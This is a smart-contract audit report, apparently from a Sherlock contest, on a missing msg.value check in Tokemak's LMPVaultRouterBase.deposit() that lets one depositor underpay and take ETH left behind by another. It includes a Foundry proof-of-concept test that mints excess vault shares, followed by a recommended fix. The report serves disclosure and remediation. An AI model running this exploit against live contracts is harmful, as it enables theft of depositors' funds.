Jumpy Chili Copperhead

high

# A malicous user can mint more  vault tokens than he deserves using LMPVaultRouterBase.deposit() by paying less eth when  address(vault.asset()) == address(weth9).
## Summary
When address(vault.asset()) == address(weth9), a user can pay ETH directly via msg.value and mint vault tokens. However, since the deposit() function never checks the msg.value against the input argument ``amount``, one user might overpay while another user might underpay. As a result, the funding left by the overpayment will be stolen by a second user who underpays. For example, a user might pay 2e18 eth while only minting 1e18 tokens, while a second user will pay 1e18 eth but minting 2e18 tokens. 


## Vulnerability Detail
First of all, this finding is separate from the finding of double payment problem and assumes that we have already fixed the double payment problem by add the following if statement to the ``pulltoken()`` line:

```javascript
if(msg.value ==0) pullToken(vaultAsset, amount, address(this));
```
In other words, only when there is no eth sent to the contract, we need to pull tokens from the user. 

Now, the problem with LMPVaultRouterBase.deposit() is that the value of amount and the value of msg.value are not compared. They should be equal to each other to avoid over/under payment. 

[https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L44-L57](https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVaultRouterBase.sol#L44-L57)

## Impact
A user can pay little eth but mint more tokens than he  deserves, while another user might overpay and leaves some eth to the contract for other user to steal. 

## Code Snippet
Our following POC confirms our finding: we first fixed the double payment problem by changing the line of ``pulltoken()`` to be the following line:

```javascript
if(msg.value ==0) pullToken(vaultAsset, amount, address(this));
```

The finding shows user1 pays 2e18 but only minted 1e18 tokens, while user2 pays only 1e18 but steals the 1e18 left by user1 in the contract and manages to mint 2e18 tokens. 


```javascript
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import { TestERC20 } from "test/mocks/TestERC20.sol";
import { SystemRegistry } from "src/SystemRegistry.sol";
import { LMPVaultRegistry } from "src/vault/LMPVaultRegistry.sol";
import { LMPVaultFactory } from "src/vault/LMPVaultFactory.sol";
import { AccessController } from "src/security/AccessController.sol";
import { SystemSecurity } from "src/security/SystemSecurity.sol";
import { LMPVault } from "src/vault/LMPVault.sol";
import { Roles } from "src/libs/Roles.sol";
import { Clones } from "openzeppelin-contracts/proxy/Clones.sol";

import { IWETH9 } from "src/interfaces/utils/IWETH9.sol";
import "src/tokens/WETH9.sol";
import "src/vault/LMPVaultRouterBase.sol";


contract myLMPVaultRouterBase is LMPVaultRouterBase{
    constructor(address _weth9)LMPVaultRouterBase(_weth9)
    {

    }
} 

contract MyTest is Test {
    using Clones for address;

    SystemRegistry private _systemRegistry;
    AccessController private _accessController;
    LMPVaultRegistry private _lmpVaultRegistry;
    LMPVaultFactory private _lmpVaultFactory;
    SystemSecurity private _systemSecurity;
    address _template;

    TestERC20 _toke;
    TestERC20 _asset;
    IWETH9 weth9;
    myLMPVaultRouterBase lmp;
    LMPVault _vault;
    



    function setUp() public virtual {
        vm.label(address(this), "testContract");

        _toke = new TestERC20("test", "test");
        vm.label(address(_toke), "toke");

        _systemRegistry = new SystemRegistry(address(_toke), address(new TestERC20("weth", "weth")));
        _systemRegistry.addRewardToken(address(_toke));

        _accessController = new AccessController(address(_systemRegistry));
        _systemRegistry.setAccessController(address(_accessController));

        _lmpVaultRegistry = new LMPVaultRegistry(_systemRegistry);
        _systemRegistry.setLMPVaultRegistry(address(_lmpVaultRegistry));

        _systemSecurity = new SystemSecurity(_systemRegistry);
        _systemRegistry.setSystemSecurity(address(_systemSecurity));

        // Setup the LMP Vault

        _asset = new TestERC20("asset", "asset");
        _systemRegistry.addRewardToken(address(_asset));
        vm.label(address(_asset), "asset");

       
        weth9 = IWETH9(address(new WETH9()));
        _template = address(new LMPVault(_systemRegistry, address(weth9)));

        _lmpVaultFactory = new LMPVaultFactory(_systemRegistry, _template, 800, 100);    
        _accessController.grantRole(Roles.REGISTRY_UPDATER, address(_lmpVaultFactory));         


        lmp = new myLMPVaultRouterBase(address(weth9));
        _vault = LMPVault(address(_template).cloneDeterministic(keccak256("salt")));
        _vault.initialize(10000000e18, 1000000e18, "x", "y", "");
        
    }


    function deposit(address user, uint msgValue, uint256 amount, uint256 minSharesOut) public{

    
        vm.startPrank(user);
        lmp.deposit{value: msgValue}(_vault, user, amount, minSharesOut);
        vm.stopPrank();

    
    }


    function testMe() public
    {
        address user1 = address(111);
        address user2 = address(222);

        user1.call{value: 2e18}("");
        user2.call{value: 1e18}("");

        deposit(user1, 2e18, 1e18, 1e18);
        deposit(user2, 1e18, 2e18, 2e18);

        uint256 Bal1 = _vault.balanceOf(user1);
        uint256 Bal2 = _vault.balanceOf(user2);

        console2.log("Bal1: %d", Bal1);
        console2.log("Bal2: %d", Bal2);

        assertEq(Bal1, 1e18);     
        assertEq(Bal2, 2e18);      
    }
}
```

## Tool used
VSCode

Manual Review

## Recommendation
We need to compare ``msg.value`` to make sure it is equal to ``amount``.
```javascript

 function deposit(
        ILMPVault vault,
        address to,
        uint256 amount,
        uint256 minSharesOut
    ) public payable virtual override returns (uint256 sharesOut) {
        // handle possible eth
        _processEthIn(vault);

+    if(msg.value > 0 && msg.value != amount) revert EthValueMismatch();

        IERC20 vaultAsset = IERC20(vault.asset());
-        pullToken(vaultAsset, amount, address(this));
+       if(msg.value ==0 )  pullToken(vaultAsset, amount, address(this));


        return _deposit(vault, to, amount, minSharesOut);
    }
```
